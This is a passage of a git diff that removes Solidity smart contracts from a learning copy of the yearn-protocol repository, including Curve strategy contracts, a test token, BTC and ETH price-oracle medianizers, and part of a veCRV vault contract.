-    address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route
-
-    uint256 public fee = 500;
-    uint256 public constant max = 10000;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function setFee(uint256 _fee) external {
-        require(msg.sender == governance, "!governance");
-        fee = _fee;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function deposit() public {
-        IERC20(want).safeApprove(gov, 0);
-        IERC20(want).safeApprove(gov, IERC20(want).balanceOf(address(this)));
-        IGovernance(gov).stake(IERC20(want).balanceOf(address(this)));
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(fee).div(max);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IGovernance(gov).exit();
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance || msg.sender == tx.origin, "!authorized");
-        IGovernance(gov).getReward();
-        uint256 _balance = IERC20(reward).balanceOf(address(this));
-        if (_balance > 0) {
-            IERC20(reward).safeApprove(zap, 0);
-            IERC20(reward).safeApprove(zap, _balance);
-            Zap(zap).remove_liquidity_one_coin(_balance, 2, 0);
-        }
-        _balance = IERC20(usdt).balanceOf(address(this));
-        if (_balance > 0) {
-            IERC20(usdt).safeApprove(uni, 0);
-            IERC20(usdt).safeApprove(uni, _balance);
-
-            address[] memory path = new address[](3);
-            path[0] = usdt;
-            path[1] = weth;
-            path[2] = want;
-
-            Uni(uni).swapExactTokensForTokens(_balance, uint256(0), path, address(this), now.add(1800));
-        }
-        if (IERC20(want).balanceOf(address(this)) > 0) {
-            deposit();
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        IGovernance(gov).withdraw(_amount);
-        return _amount;
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfYGov() public view returns (uint256) {
-        return IGovernance(gov).balanceOf(address(this));
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfYGov());
-    }
-
-    function voteFor(uint256 _proposal) external {
-        require(msg.sender == governance, "!governance");
-        IGovernance(gov).voteFor(_proposal);
-    }
-
-    function voteAgainst(uint256 _proposal) external {
-        require(msg.sender == governance, "!governance");
-        IGovernance(gov).voteAgainst(_proposal);
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategymUSDCurve.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategymUSDCurve.sol
deleted file mode 100644
index a2b619585..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategymUSDCurve.sol
+++ /dev/null
@@ -1,288 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Curve.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategymUSDCurve {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5);
-    address public constant mpool = address(0x8474DdbE98F5aA3179B3B3F5942D724aFcdec9f6);
-    address public constant m3crv = address(0x1AEf73d49Dedc4b1778d0706583995958Dc862e6);
-    address public constant yvm3crv = address(0x0FCDAeDFb8A7DfDa2e9838564c5A1665d856AFDF);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 1000;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 1000;
-    uint256 public threshold = 6000;
-    uint256 public slip = 100;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-
-    modifier isAuthorized() {
-        require(msg.sender == governance || msg.sender == strategist || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategymUSDCurve";
-    }
-
-    function deposit() public isAuthorized {
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            IERC20(want).safeApprove(mpool, 0);
-            IERC20(want).safeApprove(mpool, _want);
-            uint256 v = _want.mul(1e18).div(ICurveFi(mpool).get_virtual_price());
-            ICurveFi(mpool).add_liquidity([_want, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(m3crv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(m3crv).safeApprove(yvm3crv, 0);
-            IERC20(m3crv).safeApprove(yvm3crv, _bal);
-            yvERC20(yvm3crv).deposit(_bal);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(m3crv != address(_asset), "musd3crv");
-        require(yvm3crv != address(_asset), "yvmusd3crv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e18).div(ICurveFi(mpool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(yvm3crv).getPricePerFullShare());
-        uint256 _before = IERC20(m3crv).balanceOf(address(this));
-        yvERC20(yvm3crv).withdraw(_amt);
-        uint256 _after = IERC20(m3crv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IERC20(m3crv).safeApprove(mpool, 0);
-        IERC20(m3crv).safeApprove(mpool, _amnt);
-        ICurveFi(mpool).remove_liquidity_one_coin(_amnt, 0, _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _yvm3crv = IERC20(yvm3crv).balanceOf(address(this));
-        if (_yvm3crv > 0) {
-            yvERC20(yvm3crv).withdraw(_yvm3crv);
-            _withdrawOne(IERC20(m3crv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfm3CRV() public view returns (uint256) {
-        return IERC20(m3crv).balanceOf(address(this));
-    }
-
-    function balanceOfm3CRVinWant() public view returns (uint256) {
-        return balanceOfm3CRV().mul(ICurveFi(mpool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfyvm3CRV() public view returns (uint256) {
-        return IERC20(yvm3crv).balanceOf(address(this));
-    }
-
-    function balanceOfyvm3CRVinm3CRV() public view returns (uint256) {
-        return balanceOfyvm3CRV().mul(yvERC20(yvm3crv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfyvm3CRVinWant() public view returns (uint256) {
-        return balanceOfyvm3CRVinm3CRV().mul(ICurveFi(mpool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfyvm3CRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(yvm3crv).safeTransfer(_strategy, IERC20(yvm3crv).balanceOf(address(this)));
-        IERC20(m3crv).safeTransfer(_strategy, IERC20(m3crv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        IERC20(want).safeApprove(mpool, 0);
-        IERC20(want).safeApprove(mpool, _amount);
-        uint256 v = _amount.mul(1e18).div(ICurveFi(mpool).get_virtual_price());
-        ICurveFi(mpool).add_liquidity([_amount, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-
-        uint256 _bal = IERC20(m3crv).balanceOf(address(this));
-        IERC20(m3crv).safeApprove(yvm3crv, 0);
-        IERC20(m3crv).safeApprove(yvm3crv, _bal);
-        yvERC20(yvm3crv).deposit(_bal);
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        uint256 _before = IERC20(m3crv).balanceOf(address(this));
-        yvERC20(yvm3crv).withdraw(_amt);
-        uint256 _after = IERC20(m3crv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        IERC20(m3crv).safeApprove(mpool, 0);
-        IERC20(m3crv).safeApprove(mpool, _amt);
-        _before = IERC20(want).balanceOf(address(this));
-        ICurveFi(mpool).remove_liquidity_one_coin(_amt, 0, _amt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
-        uint256 _p = yvERC20(yvm3crv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(mpool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfyvm3CRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(yvm3crv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(yvm3crv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(mpool).balances(0).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfyvm3CRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        slip = _slip;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/test/Token.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/test/Token.sol
deleted file mode 100644
index ba36174c1..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/test/Token.sol
+++ /dev/null
@@ -1,11 +0,0 @@
-// SPDX-License-Identifier: MIT
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/ERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20Detailed.sol";
-
-contract Token is ERC20, ERC20Detailed {
-    constructor() public ERC20Detailed("yearn.finance test token", "TEST", 18) {
-        _mint(msg.sender, 30000 * 10**18);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/utils/BTCOSMedianizer.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/utils/BTCOSMedianizer.sol
deleted file mode 100644
index 06605992b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/utils/BTCOSMedianizer.sol
+++ /dev/null
@@ -1,55 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-
-import "../../interfaces/maker/OracleSecurityModule.sol";
-
-interface UniswapAnchoredView {
-    function price(string calldata) external view returns (uint256);
-}
-
-contract BTCOSMedianizer {
-    using SafeMath for uint256;
-
-    mapping(address => bool) public authorized;
-    address public governance;
-
-    OracleSecurityModule public constant OSM = OracleSecurityModule(0xf185d0682d50819263941e5f4EacC763CC5C6C42);
-    UniswapAnchoredView public constant MEDIANIZER = UniswapAnchoredView(0x9B8Eb8b3d6e2e0Db36F41455185FEF7049a35CaE);
-    string public symbol = "BTC";
-
-    constructor() public {
-        governance = msg.sender;
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setAuthorized(address _authorized) external {
-        require(msg.sender == governance, "!governance");
-        authorized[_authorized] = true;
-    }
-
-    function revokeAuthorized(address _authorized) external {
-        require(msg.sender == governance, "!governance");
-        authorized[_authorized] = false;
-    }
-
-    function read() external view returns (uint256 price, bool osm) {
-        if (authorized[msg.sender] && OSM.bud(address(this)) == 1) {
-            (bytes32 _val, bool _has) = OSM.peek();
-            if (_has) return (uint256(_val), true);
-        }
-        return ((MEDIANIZER.price(symbol)).mul(1e12), false);
-    }
-
-    function foresight() external view returns (uint256 price, bool osm) {
-        if (authorized[msg.sender] && OSM.bud(address(this)) == 1) {
-            (bytes32 _val, bool _has) = OSM.peep();
-            if (_has) return (uint256(_val), true);
-        }
-        return ((MEDIANIZER.price(symbol)).mul(1e12), false);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/utils/ETHOSMedianizer.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/utils/ETHOSMedianizer.sol
deleted file mode 100644
index 862f5ce12..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/utils/ETHOSMedianizer.sol
+++ /dev/null
@@ -1,54 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "../../interfaces/maker/OracleSecurityModule.sol";
-
-interface Medianizer {
-    function read() external view returns (bytes32);
-}
-
-contract ETHOSMedianizer {
-    mapping(address => bool) public authorized;
-    address public governance;
-
-    OracleSecurityModule public constant OSM = OracleSecurityModule(0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763);
-    Medianizer public constant MEDIANIZER = Medianizer(0x729D19f657BD0614b4985Cf1D82531c67569197B);
-
-    constructor() public {
-        governance = msg.sender;
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setAuthorized(address _authorized) external {
-        require(msg.sender == governance, "!governance");
-        authorized[_authorized] = true;
-    }
-
-    function revokeAuthorized(address _authorized) external {
-        require(msg.sender == governance, "!governance");
-        authorized[_authorized] = false;
-    }
-
-    function read() external view returns (uint256 price, bool osm) {
-        if (authorized[msg.sender]) {
-            if (OSM.bud(address(this)) == 1) {
-                (bytes32 _val, ) = OSM.peek();
-                return (uint256(_val), true);
-            }
-        }
-        return (uint256(MEDIANIZER.read()), false);
-    }
-
-    function foresight() external view returns (uint256 price, bool osm) {
-        if (authorized[msg.sender]) {
-            if (OSM.bud(address(this)) == 1) {
-                (bytes32 _val, ) = OSM.peep();
-                return (uint256(_val), true);
-            }
-        }
-        return (uint256(MEDIANIZER.read()), false);
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/CurveVault.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/CurveVault.sol
deleted file mode 100644
index 1117f2fe0..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/CurveVault.sol
+++ /dev/null
@@ -1,479 +0,0 @@
-/**
- *Submitted for verification at Etherscan.io on 2020-11-05
- */
-
-// SPDX-License-Identifier: MIT
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-
-interface StrategyProxy {
-    function lock() external;
-}
-
-interface FeeDistribution {
-    function claim(address) external;
-}
-
-contract veCurveVault {
-    using SafeMath for uint256;
-
-    /// @notice EIP-20 token name for this token
-    string public constant name = "veCRV-DAO yVault";
-
-    /// @notice EIP-20 token symbol for this token
-    string public constant symbol = "yveCRV-DAO";
-
-    /// @notice EIP-20 token decimals for this token
-    uint8 public constant decimals = 18;
-
-    /// @notice Total number of tokens in circulation
-    uint256 public totalSupply = 0; // Initial 0
-
-    /// @notice A record of each accounts delegate
-    mapping(address => address) public delegates;
-
-    /// @notice A record of votes checkpoints for each account, by index
-    mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
-
-    /// @notice The number of checkpoints for each account
-    mapping(address => uint32) public numCheckpoints;
-
-    mapping(address => mapping(address => uint256)) internal allowances;
-    mapping(address => uint256) internal balances;
-
-    /// @notice The EIP-712 typehash for the contract's domain
-    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
-    // NOTE: deployed code uses 0.6.12 with immutable,changing here for compatibility
-    //  -> bytes32 public immutable DOMAINSEPARATOR;
-    bytes32 public DOMAINSEPARATOR;
-
-    /// @notice The EIP-712 typehash for the delegation struct used by the contract
-    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
-
-    /// @notice The EIP-712 typehash for the permit struct used by the contract
-    bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
-
-    /// @notice A record of states for signing / validating signatures
-    mapping(address => uint256) public nonces;
-
-    /// @notice An event thats emitted when an account changes its delegate
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /// @notice An event thats emitted when a delegate account's vote balance changes
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /// @notice A checkpoint for marking number of votes from a given block
-    struct Checkpoint {
-        uint32 fromBlock;
-        uint256 votes;
-    }
-
-    /**
-     * @notice Delegate votes from `msg.sender` to `delegatee`
-     * @param delegatee The address to delegate votes to
-     */
-    function delegate(address delegatee) public {
-        _delegate(msg.sender, delegatee);
-    }
-
-    /**
-     * @notice Delegates votes from signatory to `delegatee`
-     * @param delegatee The address to delegate votes to
-     * @param nonce The contract state required to match the signature
-     * @param expiry The time at which to expire the signature
-     * @param v The recovery byte of the signature
-     * @param r Half of the ECDSA signature pair
-     * @param s Half of the ECDSA signature pair
-     */
-    function delegateBySig(
-        address delegatee,
-        uint256 nonce,
-        uint256 expiry,
-        uint8 v,
-        bytes32 r,
-        bytes32 s
-    ) public {
-        bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
-        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
-        address signatory = ecrecover(digest, v, r, s);
-        require(signatory != address(0), "delegateBySig: sig");
-        require(nonce == nonces[signatory]++, "delegateBySig: nonce");
-        require(now <= expiry, "delegateBySig: expired");
-        _delegate(signatory, delegatee);
-    }
-
-    /**
-     * @notice Gets the current votes balance for `account`
-     * @param account The address to get votes balance
-     * @return The number of current votes for `account`
-     */
-    function getCurrentVotes(address account) external view returns (uint256) {
-        uint32 nCheckpoints = numCheckpoints[account];
-        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
-    }
-
-    /**
-     * @notice Determine the prior number of votes for an account as of a block number
-     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
-     * @param account The address of the account to check
-     * @param blockNumber The block number to get the vote balance at
-     * @return The number of votes the account had as of the given block
-     */
-    function getPriorVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "getPriorVotes:");
-
-        uint32 nCheckpoints = numCheckpoints[account];
-        if (nCheckpoints == 0) {
-            return 0;
-        }
-
-        // First check most recent balance
-        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
-            return checkpoints[account][nCheckpoints - 1].votes;
-        }
-
-        // Next check implicit zero balance
-        if (checkpoints[account][0].fromBlock > blockNumber) {
-            return 0;
-        }
-
-        uint32 lower = 0;
-        uint32 upper = nCheckpoints - 1;
-        while (upper > lower) {
-            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
-            Checkpoint memory cp = checkpoints[account][center];
-            if (cp.fromBlock == blockNumber) {
-                return cp.votes;
-            } else if (cp.fromBlock < blockNumber) {
-                lower = center;
-            } else {
-                upper = center - 1;
-            }
-        }
-        return checkpoints[account][lower].votes;
-    }
-
-    function _delegate(address delegator, address delegatee) internal {
-        address currentDelegate = delegates[delegator];
-        uint256 delegatorBalance = balances[delegator];
-        delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveDelegates(
-        address srcRep,
-        address dstRep,
-        uint256 amount
-    ) internal {
-        if (srcRep != dstRep && amount > 0) {
-            if (srcRep != address(0)) {
-                uint32 srcRepNum = numCheckpoints[srcRep];
-                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
-                uint256 srcRepNew = srcRepOld.sub(amount, "_moveVotes: underflows");
-                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
-            }
-
-            if (dstRep != address(0)) {
-                uint32 dstRepNum = numCheckpoints[dstRep];
-                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
-                uint256 dstRepNew = dstRepOld.add(amount);
-                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        address delegatee,
-        uint32 nCheckpoints,
-        uint256 oldVotes,
-        uint256 newVotes
-    ) internal {
-        uint32 blockNumber = safe32(block.number, "_writeCheckpoint: 32 bits");
-
-        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
-            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
-        } else {
-            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
-            numCheckpoints[delegatee] = nCheckpoints + 1;
-        }
-
-        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
-    }
-
-    function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
-        require(n < 2**32, errorMessage);
-        return uint32(n);
-    }
-
-    /// @notice The standard EIP-20 transfer event
-    event Transfer(address indexed from, address indexed to, uint256 amount);
-
-    /// @notice The standard EIP-20 approval event
-    event Approval(address indexed owner, address indexed spender, uint256 amount);
-
-    /// @notice governance address for the governance contract
-    address public governance;
-    address public pendingGovernance;
-
-    IERC20 public constant CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant LOCK = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-    address public proxy = address(0x7A1848e7847F3f5FfB4d8e63BdB9569db535A4f0);
-    address public feeDistribution;
-
-    IERC20 public constant rewards = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-
-    uint256 public index = 0;
-    uint256 public bal = 0;
-
-    mapping(address => uint256) public supplyIndex;
-
-    function update() external {
-        _update();
-    }
-
-    function _update() internal {
-        if (totalSupply > 0) {
-            _claim();
-            uint256 _bal = rewards.balanceOf(address(this));
-            if (_bal > bal) {
-                uint256 _diff = _bal.sub(bal, "veCRV::_update: bal _diff");
-                if (_diff > 0) {
-                    uint256 _ratio = _diff.mul(1e18).div(totalSupply);
-                    if (_ratio > 0) {
-                        index = index.add(_ratio);
-                        bal = _bal;
-                    }
-                }
-            }
-        }
-    }
-
-    function _claim() internal {
-        if (feeDistribution != address(0x0)) {
-            FeeDistribution(feeDistribution).claim(address(this));
-        }
-    }
-
-    function updateFor(address recipient) public {
-        _update();
-        uint256 _supplied = balances[recipient];
-        if (_supplied > 0) {
-            uint256 _supplyIndex = supplyIndex[recipient];
-            supplyIndex[recipient] = index;
-            uint256 _delta = index.sub(_supplyIndex, "veCRV::_claimFor: index delta");
-            if (_delta > 0) {
-                uint256 _share = _supplied.mul(_delta).div(1e18);
-                claimable[recipient] = claimable[recipient].add(_share);
-            }
-        } else {
-            supplyIndex[recipient] = index;
-        }
-    }
-
-    mapping(address => uint256) public claimable;
-
-    function claim() external {
-        _claimFor(msg.sender);
-    }
-
-    function claimFor(address recipient) external {
-        _claimFor(recipient);
-    }
-
-    function _claimFor(address recipient) internal {
-        updateFor(recipient);
-        rewards.transfer(recipient, claimable[recipient]);
-        claimable[recipient] = 0;
-        bal = rewards.balanceOf(address(this));
-    }
-
-    constructor() public {
-        // Set governance for this token
-        governance = msg.sender;
-        DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)));
-    }
-
-    function _mint(address dst, uint256 amount) internal {
-        updateFor(dst);
-        // mint the amount
-        totalSupply = totalSupply.add(amount);
-        // transfer the amount to the recipient
-        balances[dst] = balances[dst].add(amount);
-        emit Transfer(address(0), dst, amount);
-
-        // move delegates
-        _moveDelegates(address(0), delegates[dst], amount);
-    }
-
-    function depositAll() external {
-        _deposit(CRV.balanceOf(msg.sender));
-    }
-
-    function deposit(uint256 _amount) external {
-        _deposit(_amount);
-    }
-
-    function _deposit(uint256 _amount) internal {
-        CRV.transferFrom(msg.sender, LOCK, _amount);
-        _mint(msg.sender, _amount);
-        StrategyProxy(proxy).lock();
-    }
-
-    function setProxy(address _proxy) external {
-        require(msg.sender == governance, "setGovernance: !gov");
-        proxy = _proxy;
-    }
-
-    function setFeeDistribution(address _feeDistribution) external {
-        require(msg.sender == governance, "setGovernance: !gov");
-        feeDistribution = _feeDistribution;
-    }
-
-    /**
-     * @notice Allows governance to change governance (for future upgradability)
-     * @param _governance new governance address to set
-     */
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "setGovernance: !gov");
-        pendingGovernance = _governance;
-    }
-
-    /**
-     * @notice Allows pendingGovernance to accept their role as governance (protection pattern)
-     */
-    function acceptGovernance() external {
